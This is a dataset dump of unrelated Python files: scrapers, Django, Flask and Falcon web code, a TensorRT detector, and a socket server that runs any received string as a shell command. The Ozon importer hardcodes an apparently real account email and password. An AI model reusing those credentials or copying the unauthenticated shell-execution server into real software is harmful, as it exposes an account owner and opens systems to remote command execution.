content = card.find_element_by_css_selector(content_sel)\n time = card.find_element_by_css_selector(time_sel)\n link = card.find_element_by_css_selector(link_sel)\n info_list.append([content, time, link])\n\n return info_list\n\n\ndef find_next():\n next_sel = '#Pl_Official_MyProfileFeed__20 > div > div:nth-child(38) > div > a'\n next_page = driver.find_elements_by_css_selector(next_sel)\n if next_page:\n return next_page[0].get_attribute('href')\n\n\ndef save(info_list, name):\n full_path = './' + name + '.csv' # 2018-01-02~2018-08-08.csv\n if os.path.exists(full_path):\n with open(full_path, 'a') as f:\n writer = csv.writer(f)\n writer.writerow(info_list)\n print('Done!')\n else:\n with open(full_path, 'w+') as f:\n writer = csv.writer(f)\n writer.writerow(info_list)\n print('Done!')\n\n\ndef run_crawler(base, duration):\n if not base.endswith('feedtop'):\n # duration: 2018-01-02~2018-08-08\n start_time, end_time = duration.split('~')\n driver.get(base + query(start_time, end_time))\n else:\n driver.get(base)\n\n sleep(5)\n scroll_down()\n sleep(5)\n info_list = find_cards_info()\n save(info_list, duration)\n next_page = find_next()\n if next_page:\n run_crawler(next_page)\n print(info_list)\n\n\nbase = 'https://weibo.com/u/6431633590'\ndriver = open_chrome()\ninput()\nrun_crawler(base, '2018-01-02~2018-08-08')\n","sub_path":"weibo_crawler.py","file_name":"weibo_crawler.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"133837098","text":"from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\nfrom pagelets.models import Pagelet, PageAttachment, get_pagelet_type_assets\n\n\nclass PageletForm(forms.ModelForm):\n\n class Meta:\n model = Pagelet\n fields = ('type', 'content')\n\n class Media:\n css = {\n 'all': ('css/pagelets.css',)\n }\n js = ('js/pagelets.js',)\n\n js, css = get_pagelet_type_assets(base_scripts=js, base_styles=css)\n\n def __init__(self, *args, **kwargs):\n self.preview = kwargs.pop('preview', False)\n super(PageletForm, self).__init__(*args, **kwargs)\n if self.preview:\n for field in self.fields.values():\n field.widget = forms.HiddenInput()\n else:\n self.fields['content'].widget = forms.Textarea(\n attrs={'rows': 30, 'cols': 90}\n )\n\n if len(self.fields['type'].choices) == 1:\n self.fields['type'].widget = forms.HiddenInput()\n self.fields['type'].initial = self.fields['type'].choices[0][0]\n\n def save(self, commit=True, user=None):\n instance = super(PageletForm, self).save(commit=False)\n if user:\n instance.created_by = user\n instance.modified_by = user\n else:\n raise ValueError(_(u'A user is required when saving a Pagelet'))\n if commit:\n instance.save()\n return instance\n\n\nclass UploadForm(forms.ModelForm):\n\n class Meta:\n model = PageAttachment\n fields = ('name', 'file', 'order')\n\n def save(self, page, commit=True):\n instance = super(UploadForm, self).save(commit=False)\n instance.page = page\n if commit:\n instance.save()\n return instance\n","sub_path":"pagelets/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"56830292","text":"import os, sys, requests, io\nimport django\nsys.path.append('..')\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'ep_proj.settings')\ndjango.setup()\n\nimport xml.etree.ElementTree as ET\n\n\nfrom shop.models import Product, Price\n\ndef download_all_category_files():\n filename_list = []\n # 1. Бытовая техника\n # 2. Электроника\n # 3. Строительство и ремонт\n categories_list = ['https://api.ozon.ru/partner-tools.affiliates/XmlFeed/10500',\n 'https://api.ozon.ru/partner-tools.affiliates/XmlFeed/15500',\n 'https://api.ozon.ru/partner-tools.affiliates/XmlFeed/9700']\n\n url = 'https://api.ozon.ru/affiliates/partner-api/account/token'\n data = {'grant_type': 'password', 'email': 'kovoli1985@gmail.com', 'password': 'Mafusal1985!'}\n headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n r = requests.post(url=url, data=data, headers=headers) # Делаю запрос\n convert_tocken = r.json() # Получаю json c токеном\n # получаю токен\n tokken = {'token': convert_tocken[\"access_token\"]}\n\n for cat_url in categories_list:\n # Запрос категории с токеном\n request_cat_catalog = requests.get(cat_url + '?token=' + tokken['token'])\n # Распаковка токена\n import zipfile\n zipfile = zipfile.ZipFile(io.BytesIO(request_cat_catalog.content))\n filename = zipfile.namelist()[0]\n zipfile.extractall('imports/')\n\n filename_list.append(filename)\n\n return filename_list\n\n# Скачивает все категории\n\nsucces_update = 0\nsuccers_writes = 0\nerrors = 0\nnot_found_barcode = 0\nnot_found_name = 0\nfor file in download_all_category_files():\n tree = ET.parse('imports/' + file)\n root = tree.getroot()\n print('Всего товаров', len(root.findall('.//offer')))\n for prod in root.findall('.//offer'):\n product_data = {'name': None,\n 'barcode': None,\n 'price': None,\n 'oldprice': None,\n 'sales_notes': None,\n 'url': None\n }\n try:\n for data in product_data.keys():\n if prod.find(data) is None:\n continue\n elif data == 'url':\n product_data[data] = 'https://f.gdeslon.ru/cf/0c7e8158ad?mid=12027&goto=' + prod.find(data).text[:prod.find(data).text.index('?')]\n else:\n product_data[data] = prod.find(data).text\n get_product = None\n try:\n if product_data['barcode'] != None:\n get_product = Product.objects.get(barcode=product_data['barcode'])\n except:\n not_found_barcode += 1\n try:\n get_product = Product.objects.get(name=product_data['name'])\n except:\n not_found_name += 1\n continue\n\n if get_product != None:\n del product_data['barcode']\n product_data['shop_id'] = 1\n try:\n price_curent = get_product.prices.get(shop_id=1)\n price_curent.price = product_data['price']\n price_curent.oldprice = product_data['oldprice']\n price_curent.name = product_data['name']\n price_curent.sales_notes = product_data['sales_notes']\n price_curent.url = product_data['url']\n price_curent.save()\n get_product.save()\n succes_update += 1\n except Price.DoesNotExist:\n get_price_shop = get_product.prices.create(**product_data)\n get_product.save()\n succers_writes += 1\n except Exception as error:\n errors += 1\n\nprint('Цен созданно', succers_writes)\nprint('Цен обновленно', succes_update)\nprint('Ошибок', errors)\nprint('Не найденно barcode', not_found_barcode)\nprint('Не найденно название', not_found_name)\n\n","sub_path":"importer_prod/ozon_price_updater.py","file_name":"ozon_price_updater.py","file_ext":"py","file_size_in_byte":4251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"194329847","text":"from os import path, environ\nfrom flask import Flask, request, send_from_directory, jsonify\nimport base64\nimport pickle\nfrom processor import diff_tool\nimport cv2\nimport requests\n\nHTML_DIR = 'html'\nUPLOAD_FOLDER = '/var/images'\n\napp = Flask(__name__)\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config['PROCESS_FOLDER'] = UPLOAD_FOLDER\napp.config['STORE'] = {'doit': environ.get('STORE').lower() == 'true',\n 'server': environ.get('STORAGE_SERVER')}\n\n@app.route('/img/') \ndef send_file(filename): \n return send_from_directory(app.config['PROCESS'], filename)\n\n@app.route(\"/api/process\", methods=['POST'])\ndef process():\n uploaded_file1 = request.files[\"image1\"]\n image1_path = path.join(app.config['UPLOAD_FOLDER'], uploaded_file1.filename)\n uploaded_file1.save(image1_path)\n\n uploaded_file2 = request.files[\"image2\"]\n image2_path = path.join(app.config['UPLOAD_FOLDER'], uploaded_file2.filename)\n uploaded_file2.save(image2_path)\n\n img1 = cv2.imread(image1_path)\n img2 = cv2.imread(image2_path)\n image, boxes = diff_tool.diff(img1, img2)\n imdata = pickle.dumps(image)\n encoded_img = base64.encodebytes(imdata).decode(\"utf-8\")\n json_response = {'image': encoded_img, 'boxes': boxes}\n if app.config['STORE']['doit']:\n files = {uploaded_file1.filename: base64.encodebytes(pickle.dumps(img1)).decode(\"utf-8\"),\n uploaded_file2.filename: base64.encodebytes(pickle.dumps(img2)).decode(\"utf-8\"),\n 'diff.png': base64.encodebytes(pickle.dumps(image)).decode(\"utf-8\")}\n store(files)\n \n return jsonify(json_response)\n\ndef store(files):\n server_url = app.config['STORE']['server']\n requests.post(server_url, files=files)\n\nif __name__ == \"__main__\":\n # Only for debugging while developing\n app.run(host='0.0.0.0', debug=True, port=80)\n","sub_path":"backend/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"14420475","text":"from v3modules import DCMAPI, CampaignUtils, LandingPageUtils\nimport re\n\n\n\n\nApi = DCMAPI.DCMAPI()\n\nlandingpages = LandingPageUtils.getAllDisplayLandingPages(Api)\n\nfor page in landingpages:\n if page[\"advertiserId\"] != \"3876773\":\n continue\n if \"https://\" not in page[\"url\"]:\n url = re.sub(\"http\",\"https\",page[\"url\"])\n payload = {\"url\":url}\n LandingPageUtils.updateLandingPage(Api,page[\"id\"],payload) \n \n\n# pageID = str(22418309)\n# patchURL = \"https://www.googleapis.com/dfareporting/v3.0/userprofiles/{profileId}/advertiserLandingPages?id={pageID}\".format(profileId=profileId,pageID=pageID)\n# url = re.sub(\"http\",\"https\",landingpage[\"url\"])\n# payload = {\"url\":\"https://www.chevrolet.com/idea\"}\n# print(payload)\n# currentCampaign.requests.patch(patchURL, headers=auth, data=currentCampaign.json.dumps(payload))\n# r = currentCampaign.requests.get(url)\n# add url report every Monday\n\n\n","sub_path":"UrlUpdate.py","file_name":"UrlUpdate.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"628374532","text":"from math import atan2, sqrt, e, pi\nfrom itertools import chain\nfrom time import time\nfrom sys import argv\nfrom png import Writer\nimport colorsys\n\nsx, sy = 4, 4\nzoom = 1\nif len(argv) > 2:\n sx = int(argv[1])\n sy = int(argv[2])\n zoom = int(argv[3])\n\ndef norm(z):\n return sqrt(z[0]**2 + z[1]**2)\n\ndef complex_to_rgb(z):\n H = atan2(z[1], z[0])\n while H < 0: H += 2*pi\n while H > 2*pi: H -= 2*pi\n H*= 180/pi\n m = norm(z)#r = 1/(norm(z)) if norm(z)!= 0 else 0\n r0, r1 = 0, 1\n while m > r1:\n r0 = r1\n r1 = r1 * e\n r = (m - r0) / (r1 -r0)\n p = 2*r if r < 0.5 else 2*(1-r) \n q = 1 - p\n S = 0.4 + 0.6*(1 - q**3)\n V = 0.6 + 0.4*(1 - p**3)\n return hsv_to_rgb(H, S, V)\n\ndef hsv_to_rgb(H, S, V):\n C = V*S\n H/= 60\n X = C*(1 - abs((H%2) - 1))\n m = V - C\n r,g,b = 0,0,0\n if 0 <= H < 1: r,g,b = C,X,0\n elif 1 <= H < 2: r,g,b = X,C,0\n elif 2 <= H < 3: r,g,b = 0,C,X\n elif 3 <= H < 4: r,g,b = 0,X,C\n elif 4 <= H < 5: r,g,b = X,0,C\n elif 5 <= H < 6: r,g,b = C,0,X\n r,g,b = (r + m, g + m, b + m)\n r,g,b = (r*255, g*255, b*255)\n return r,g,b\n\n\ndef plot():\n from subprocess import call\n print(\"compiling...\")\n call([\"gcc\", \"-o\", \"cpx\", \"cpxplot.c\", \"complex.c\"])\n print(\"done!\\nexecuting...\")\n call([\"./cpx\", str(sx), str(sy), str(zoom)])\n print(\"done!\")\n r = [[(0, 0, 0) for x in range(sx)] for y in range(sy)]\n with open(\"plot.txt\", 'r') as f:\n ix, iy = 0, 0\n for line in f.readlines():\n z = line.replace('\\n','').split(' ')\n if 'nan' in z:\n r[iy][ix] = (255, 255, 255)\n elif 'inf' in z:\n r[iy][ix] = (255, 0, 0)\n elif '-inf' in z:\n r[iy][ix] = (0, 0, 255)\n else: \n r[iy][ix] = complex_to_rgb((float(z[0]), float(z[1])))\n if ix == sx-1: iy+= 1\n ix = (ix + 1) % sx\n for y in range(0, len(r)):\n r[y] = list(chain(*r[y]))\n return r\n \nt = time()\nwith open('plot.png', 'wb') as f:\n r = plot()\n w = Writer(sx, sy)\n w.write(f, r)\nprint(\"time elapsed\",time() - t)\n","sub_path":"c/cpxplot/cpxplot.py","file_name":"cpxplot.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"402302289","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 2018/6/2 11:07\n# @Author : chen\n# @File : 服务端.py\n\nimport socket\nimport subprocess\n\nphone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nphone.bind(('127.0.0.1', 9900))\nphone.listen(5)\n\nprint('starting...')\nwhile True:\n conn, client_addr = phone.accept()\n print(client_addr)\n\n while True:\n try:\n # 收取命令\n cmd = conn.recv(1024)\n if not cmd:\n continue\n # print('接收命令', cmd)\n\n # 执行命令,拿到结果\n\n obj = subprocess.Popen(cmd.decode('gbk'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout = obj.stdout.read()\n stderr = obj.stderr.read()\n\n # 返回结果给客户端\n print(len(stdout)+len(stderr))\n conn.send(stdout + stderr)\n except ConnectionAbortedError:\n break\n conn.close()\n\nphone.close()","sub_path":"类与网络编程/网络编程/nnew/服务端.py","file_name":"服务端.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"427486999","text":"from django.http import JsonResponse\nfrom django.shortcuts import get_object_or_404\nfrom django.shortcuts import render\n\nfrom common.models import Article\nfrom common.models import ArticleComments\nfrom common.models import ArticleTags\nfrom common.views import article_page_view\nfrom common.views import process_str\nfrom common.views import record_page_view\n\n\n# Create your views here.\n\n\n@record_page_view\ndef index(request):\n articles = Article.objects.filter(is_hide=False, non_technical=True).order_by(\"-create_time\")\n # types = ArticleType.objects.filter(non_technical=True)\n tags = ArticleTags.objects.filter(non_technical=True)\n # comments = ArticleComments.objects.all()[:5]\n return render(request, 'non_technical/index.html', locals())\n\n\n@record_page_view\n@article_page_view\ndef article(request, article_id):\n # types = ArticleType.objects.all()\n tags = ArticleTags.objects.filter(non_technical=True)\n # comments = ArticleComments.objects.all()[:5]\n article = get_object_or_404(Article, id=article_id)\n return render(request, \"non_technical/article.html\", locals())\n\n\n@record_page_view\ndef type_articles(request, type_id):\n # types = ArticleType.objects.all()\n tags = ArticleTags.objects.filter(non_technical=True)\n # comments = ArticleComments.objects.all()[:5]\n articles = Article.objects.filter(article_type=type_id, is_hide=False, non_technical=True).order_by(\"-create_time\")\n return render(request, \"non_technical/index.html\", locals())\n\n\n@record_page_view\ndef tag_articles(request, tag_id):\n # types = ArticleType.objects.all()\n tags = ArticleTags.objects.filter(non_technical=True)\n # comments = ArticleComments.objects.all()[:5]\n articles = Article.objects.filter(tags=tag_id, is_hide=False, non_technical=True).order_by(\"-create_time\")\n return render(request, \"non_technical/index.html\", locals())\n\n\n@record_page_view\ndef commit_comment(request):\n if request.method != \"POST\":\n return\n name = process_str(request.POST.get(\"name\"))\n comment = process_str(request.POST.get(\"comment\"))\n article_id = process_str(request.POST.get(\"article_id\"))\n reply_id = process_str(request.POST.get(\"reply_id\"))\n \n ret = {}\n try:\n if not name or not comment or not article_id:\n raise Exception(\"parameters error\")\n article = Article.objects.filter(id=int(article_id)).first()\n if reply_id:\n reply = ArticleComments.objects.filter(id=int(reply_id)).first()\n else:\n reply = None\n if not article:\n raise Exception(\"article not exist\")\n is_author = True if request.user.username == article.author else False\n comment = ArticleComments.objects.create(name=name, is_author=is_author, comment=comment, article=article,\n reply=reply)\n ret[\"create_time\"] = comment.create_time.strftime(\"%Y-%m-%d %H:%M\")\n ret[\"id\"] = comment.id\n ret[\"is_author\"] = is_author\n if reply_id:\n ret[\"reply_id\"] = reply_id\n except Exception as e:\n ret[\"failed\"] = str(e)\n return JsonResponse(ret)\n","sub_path":"non_technical/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"141601497","text":"import cv2\nimport numpy as np\nimport tensorrt as trt\nimport pycuda.driver as cuda\nfrom typing import List, Tuple\nfrom numpy.lib.stride_tricks import as_strided\n\nfrom mot.structures import Detection\nfrom mot.detect import DETECTOR_REGISTRY, Detector\n\n__all__ = ['TRTCenterNetDetector']\n\nTRT_LOGGER = trt.Logger(trt.Logger.WARNING)\n\n\n# convert caffemodel to tensorrt model\nclass _CaffeModel(object):\n def __init__(self, model_info):\n self.model_info = model_info\n\n def _get_engine(self):\n # build engine based on caffe\n def _build_engine_caffe(model_info):\n def GiB(x):\n return x * 1 << 30\n\n with trt.Builder(TRT_LOGGER) as builder, builder.create_network() as network, trt.CaffeParser() as parser:\n builder.max_batch_size = model_info.max_batch_size\n builder.max_workspace_size = GiB(model_info.max_workspace_size)\n builder.fp16_mode = model_info.flag_fp16\n\n # Parse the model and build the engine.\n model_tensors = parser.parse(deploy=model_info.deploy_file, model=model_info.model_file,\n network=network,\n dtype=model_info.data_type)\n for ind_out in range(len(model_info.output_name)):\n print('=> Marking output blob \"', model_info.output_name[ind_out], '\"')\n network.mark_output(model_tensors.find(model_info.output_name[ind_out]))\n print(\"=> Building TensorRT engine. This may take a few minutes.\")\n return builder.build_cuda_engine(network)\n\n try:\n with open(self.model_info.engine_file, \"rb\") as f, trt.Runtime(TRT_LOGGER) as runtime:\n print('=> Loading CUDA engine for detector')\n return runtime.deserialize_cuda_engine(f.read())\n except:\n # Fallback to building an engine if the engine cannot be loaded for any reason.\n engine = _build_engine_caffe(self.model_info)\n with open(self.model_info.engine_file, \"wb\") as f:\n f.write(engine.serialize())\n print('=> Saved CUDA engine for detector')\n return engine\n\n # allocate buffers\n def _allocate_buffers(self):\n engine = self._get_engine()\n h_output = []\n d_output = []\n h_input = cuda.pagelocked_empty(trt.volume(engine.get_binding_shape(0)),\n dtype=trt.nptype(self.model_info.data_type))\n\n for ind_out in range(len(self.model_info.output_name)):\n h_output_temp = cuda.pagelocked_empty(trt.volume(engine.get_binding_shape(ind_out + 1)),\n dtype=trt.nptype(self.model_info.data_type))\n h_output.append(h_output_temp)\n\n # Allocate device memory for inputs and outputs.\n d_input = cuda.mem_alloc(h_input.nbytes)\n for ind_out in range(len(self.model_info.output_name)):\n d_output_temp = cuda.mem_alloc(h_output[ind_out].nbytes)\n d_output.append(d_output_temp)\n\n # Create a stream in which to copy inputs/outputs and run inference.\n stream = cuda.Stream()\n\n return engine.create_execution_context(), h_input, d_input, h_output, d_output, stream\n\n def get_outputs(self):\n context, h_input, d_input, h_output, d_output, stream = self._allocate_buffers()\n return context, h_input, d_input, h_output, d_output, stream\n\n\n# process outputs of tensorrt\nclass _DetectionModel(object):\n def __init__(self, deploy_file, model_file, engine_file, input_shape=(3, 512, 512), output_name=None,\n data_type=trt.float32, flag_fp16=True, max_workspace_size=1, max_batch_size=1, num_classes=1,\n max_per_image=20):\n self.heat_shape = 128\n self.mate = None\n self.deploy_file = deploy_file\n self.model_file = model_file\n self.engine_file = engine_file\n self.data_type = data_type\n self.flag_fp16 = flag_fp16\n self.output_name = output_name\n self.max_workspace_size = max_workspace_size\n self.max_batch_size = max_batch_size\n self.input_shape = input_shape\n self.confidence = -1.0\n self.num_classes = num_classes\n self.max_per_image = max_per_image\n self.mean = [0.408, 0.447, 0.470]\n self.std = [0.289, 0.274, 0.278]\n\n def process_det_frame(self, frame, pagelocked_buffer):\n def pad_and_resize(img: np.ndarray, output_shape: Tuple[int, int]) -> np.ndarray:\n h, w, _ = img.shape\n if h < w:\n img = np.concatenate((img, np.zeros([w - h, w, 3])), axis=0)\n elif w < h:\n img = np.concatenate((img, np.zeros([h, h - w, 3])), axis=1)\n img = cv2.resize(img, output_shape)\n return img\n\n frame_resize = pad_and_resize(frame, output_shape=(self.input_shape[2], self.input_shape[1]))\n mean = np.array(self.mean, dtype=np.float32).reshape(1, 1, 3)\n std = np.array(self.std, dtype=np.float32).reshape(1, 1, 3)\n inp_image = ((frame_resize / 255. - mean) / std)\n frame_nor = inp_image.transpose([2, 0, 1]).astype(trt.nptype(self.data_type)).ravel()\n np.copyto(pagelocked_buffer, frame_nor)\n\n def do_inference(self, context, h_input, d_input, h_output, d_output, stream):\n # Transfer input data to the GPU.\n cuda.memcpy_htod_async(d_input, h_input, stream)\n\n # Run inference.\n bindings = [int(d_input)]\n for ind_out in range(len(d_output)):\n bindings.append(int(d_output[ind_out]))\n context.execute_async(bindings=bindings, stream_handle=stream.handle)\n\n # Transfer predictions back from the GPU.\n for ind_out in range(len(d_output)):\n cuda.memcpy_dtoh_async(h_output[ind_out], d_output[ind_out], stream)\n\n # Synchronize the stream\n stream.synchronize()\n\n def postprocess_detection(self, h_output, test_img):\n def sigmoid(x):\n return 1.0 / (1.0 + np.exp(-x))\n\n c = np.array([test_img.shape[2] / 2, test_img.shape[1] / 2], dtype=np.float32)\n s = max(test_img.shape[2], test_img.shape[1]) * 1.0\n self.meta = {'c': c,\n 'scale': s,\n 'out_height': self.heat_shape,\n 'out_width': self.heat_shape}\n hm_person_sigmoid = sigmoid(h_output[0].reshape(1, 80, self.heat_shape, self.heat_shape)[0][0])\n hm_person_sigmoid = hm_person_sigmoid.reshape(1,\n self.num_classes,\n self.heat_shape,\n self.heat_shape)\n\n wh = h_output[1].reshape(1, 2, self.heat_shape, self.heat_shape)\n reg = h_output[2].reshape(1, 2, self.heat_shape, self.heat_shape)\n\n dets = self.ctdet_decode(hm_person_sigmoid, wh, reg=reg, K=self.max_per_image)\n dets = self.post_process(dets)\n results = self.merge_outputs(dets)\n\n return results\n\n def ctdet_decode(self, heat, wh, reg=None, K=20):\n\n def _nms(heat):\n def _pool2d(A, kernel_size, stride, padding, pool_mode='max'):\n A = np.pad(A, padding, mode='constant')\n\n # Window view of A\n output_shape = ((A.shape[0] - kernel_size) // stride + 1,\n (A.shape[1] - kernel_size) // stride + 1)\n kernel_size = (kernel_size, kernel_size)\n A_w = as_strided(A, shape=output_shape + kernel_size,\n strides=(stride * A.strides[0],\n stride * A.strides[1]) + A.strides)\n A_w = A_w.reshape(-1, *kernel_size)\n\n # Return the result of pooling\n if pool_mode == 'max':\n return A_w.max(axis=(1, 2)).reshape(output_shape)\n elif pool_mode == 'avg':\n return A_w.mean(axis=(1, 2)).reshape(output_shape)\n\n hmax_person = _pool2d(heat[0][0], kernel_size=3, stride=1, padding=1, pool_mode='max')\n keep = hmax_person.reshape(heat.shape) == heat\n return heat * keep\n\n def _topk(scores, K):\n batch, cat, height, width = scores.shape\n score_reshape = scores.reshape(batch, cat, -1)\n topk_inds_people = np.expand_dims(score_reshape[0][0].argsort()[-K:][::-1], axis=0)\n topk_score_people = score_reshape[0][0][topk_inds_people]\n topk_inds_people = topk_inds_people % (height * width)\n topk_ys = (topk_inds_people / width).astype(np.int)\n topk_xs = (topk_inds_people % width).astype(np.int)\n topk_clses = np.zeros((1, K))\n return topk_score_people, topk_inds_people, topk_clses, topk_ys, topk_xs\n\n def _transpose_and_gather_feat(feat, ind):\n feat = feat.transpose(0, 2, 3, 1)\n feat = feat.reshape(feat.shape[0], -1, feat.shape[3])\n feat = np.expand_dims(feat[0][ind[0]], axis=0)\n return feat\n\n batch, cat, height, width = heat.shape\n # perform nms on heatmaps\n heat = _nms(heat)\n scores, inds, clses, ys, xs = _topk(heat, K=K)\n reg = _transpose_and_gather_feat(reg, inds)\n xs = xs.reshape(batch, K, 1) + reg[:, :, 0:1]\n ys = ys.reshape(batch, K, 1) + reg[:, :, 1:2]\n\n wh = _transpose_and_gather_feat(wh, inds)\n\n clses = clses.reshape(batch, K, 1)\n scores = scores.reshape(batch, K, 1)\n bboxes = np.concatenate([xs - wh[..., 0:1] / 2,\n ys - wh[..., 1:2] / 2,\n xs + wh[..., 0:1] / 2,\n ys + wh[..., 1:2] / 2], axis=2)\n detections = np.concatenate([bboxes, scores, clses], axis=2)\n\n return detections\n\n def post_process(self, dets, ):\n def _ctdet_post_process(dets, c, s, h, w, num_classes):\n # dets: batch x max_dets x dim\n # return 1-based class det dict\n ret = []\n\n def _transform_preds(coords, center, scale, output_size):\n def _affine_transform(pt, t):\n new_pt = np.array([pt[0], pt[1], 1.], dtype=np.float32).T\n new_pt = np.dot(t, new_pt)\n return new_pt[:2]\n\n target_coords = np.zeros(coords.shape)\n trans = np.array([[scale / output_size[0], 0, 0], [0, scale / output_size[0], 0]])\n for p in range(coords.shape[0]):\n target_coords[p, 0:2] = _affine_transform(coords[p, 0:2], trans)\n return target_coords\n\n for i in range(dets.shape[0]):\n top_preds = {}\n dets[i, :, :2] = _transform_preds(dets[i, :, 0:2], c[i], s[i], (w, h))\n dets[i, :, 2:4] = _transform_preds(dets[i, :, 2:4], c[i], s[i], (w, h))\n classes = dets[i, :, -1]\n for j in range(num_classes):\n inds = (classes == j)\n top_preds[j + 1] = np.concatenate([\n dets[i, inds, :4].astype(np.float32),\n dets[i, inds, 4:5].astype(np.float32)], axis=1).tolist()\n ret.append(top_preds)\n return ret\n\n dets = _ctdet_post_process(\n dets.copy(),\n [self.meta['c']], [self.meta['scale']],\n self.meta['out_height'],\n self.meta['out_width'],\n num_classes=self.num_classes\n )\n for j in range(1, self.num_classes + 1):\n dets[0][j] = np.array(dets[0][j], dtype=np.float32).reshape(-1, 5)\n return dets[0]\n\n def merge_outputs(self, detections):\n results = {}\n for j in range(1, self.num_classes + 1):\n results[j] = np.concatenate([detections[j]], axis=0).astype(np.float32)\n\n scores = np.hstack([results[j][:, 4] for j in range(1, self.num_classes + 1)]) # modifyclass\n if len(scores) > self.max_per_image: # max_per_image\n kth = len(scores) - self.max_per_image\n thresh = np.partition(scores, kth)[kth]\n for j in range(1, self.num_classes + 1):\n keep_inds = (results[j][:, 4] >= thresh)\n results[j] = results[j][keep_inds]\n return results\n\n\n@DETECTOR_REGISTRY.register()\nclass TRTCenterNetDetector(Detector):\n def __init__(self, prototxt_path: str, model_path: str, engine_path: str, num_classes: int = 1,\n max_per_image: int = 20, conf_threshold: float = 0.5, **kwargs):\n super().__init__()\n cuda.init()\n device = cuda.Device(0) # enter your Gpu id here\n self.ctx = device.make_context()\n\n self.model = _DetectionModel(\n deploy_file=prototxt_path,\n model_file=model_path,\n engine_file=engine_path,\n input_shape=(3, 512, 512),\n output_name=['conv_blob53', 'conv_blob55', 'conv_blob57'],\n data_type=trt.float32,\n flag_fp16=True,\n max_workspace_size=1,\n max_batch_size=1,\n num_classes=num_classes,\n max_per_image=max_per_image\n )\n caffeModel = _CaffeModel(self.model)\n self.input_shape = (512, 512)\n self.conf_threshold = conf_threshold\n self.context, self.h_input, self.d_input, self.h_output, self.d_output, self.stream = caffeModel.get_outputs()\n\n def detect(self, img: np.ndarray) -> List[Detection]:\n h, w, _ = img.shape\n\n self.model.process_det_frame(frame=img, pagelocked_buffer=self.h_input)\n\n self.model.do_inference(self.context, self.h_input, self.d_input, self.h_output, self.d_output, self.stream)\n\n raw_output = self.model.postprocess_detection(self.h_output, img)\n boxes = raw_output[1][np.where(raw_output[1][:, 4] > self.conf_threshold)]\n\n return [Detection(box[:4], box[4]) for box in boxes]\n\n def destroy(self):\n self.ctx.pop()\n","sub_path":"apps/online_surveillance/cam_server/detect/trt_centernet.py","file_name":"trt_centernet.py","file_ext":"py","file_size_in_byte":14176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"336333958","text":"def brackets():\n balance = 0\n min_bal = 0\n min_cnt = 0\n\n for i in string:\n if i == '(':\n balance += 1\n else:\n balance -= 1\n if min_bal == balance:\n min_cnt += 1\n if balance < min_bal:\n min_bal = balance\n min_cnt = 1\n if balance != 0:\n return 0\n return min_cnt\n\n\nbrackets_in = open('brackets.in', 'r')\nbrackets_out = open('brackets.out', 'w')\n\n# Читаем\nstring = brackets_in.readline().rstrip()\nbrackets_in.close()\n\nprint(brackets(), file=brackets_out)\nbrackets_out.close()\n","sub_path":"LKSH2/0703/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"494340515","text":"import falcon, json\nfrom base import BaseResource\nfrom db.utils import Session\nfrom models.item import Item, ItemCategory\nfrom models.cart import UserOffer, JointOffer, CartItem\nfrom models.joint import Joint\nfrom middleware.auth import Auth\nimport datetime\n\nauth = Auth()\n\nclass AddCategory(BaseResource):\n '''\n items/menu/categories/add\n '''\n @falcon.before(auth.joint)\n def on_post(self, req, res):\n s = Session()\n category_sent = req.pararms['category']\n raw_category = {'text': category_sent.rstrip(),'joint_id': int(req.headers['JOINT-ID'])}\n category = ItemCategory(**raw_category)\n s.add(category)\n s.commit()\n s.close()\n res.status = falcon.HTTP_201 ###created\n\nclass AddNewMenuItem(BaseResource):\n '''\n post menu items for a restaurant\n /items/menu/add\n '''\n @falcon.before(auth.joint)\n def on_post(self, req, res):\n required_params = {'name', 'joint_id', 'base_price', 'category'}\n received_params = set()\n for key, val in req.params.iteritems():\n received_params.add(key) if val not in [None, ''] else None\n cat_db_id = 0;\n if required_params.issubset(received_params):\n s = Session()\n price = float(req.params['base_price'])\n jointID = int(req.params['JOINT-ID'])\n category_sent = req.params['category']\n category_db_entry = s.query(ItemCategory).filter(ItemCategory.text == category_sent).filter(ItemCategory.joint_id == jointID).first()\n if category_db_entry is not None:\n cat_db_id = category_db_entry.id\n if cat_db_id != 0:\n raw_item = {'name': req.params['name'],'base_price': price,'category': cat_db_id,'description': req.params['description'],'joint_id': jointID}\n newItem = Item(**raw_item)\n s.add(newItem)\n s.commit()\n ###response\n res.body = json.dumps({'item created': req.params['name']})\n res.status = falcon.HTTP_201\n s.close()\n else:\n res.status = falcon.HTTP_404\n\nclass GetMenuItems(BaseResource):\n '''\n returns restaurant items within category\n /items/menu/get\n '''\n @falcon.before(auth.joint)\n def on_get(self, req, res):\n s = Session()\n category_entry = s.query(ItemCategory).filter(ItemCategory.text == req.headers['CATEGORY']).filter(ItemCategory.joint_id == req.headers['JOINT-ID']).one()\n category_id = 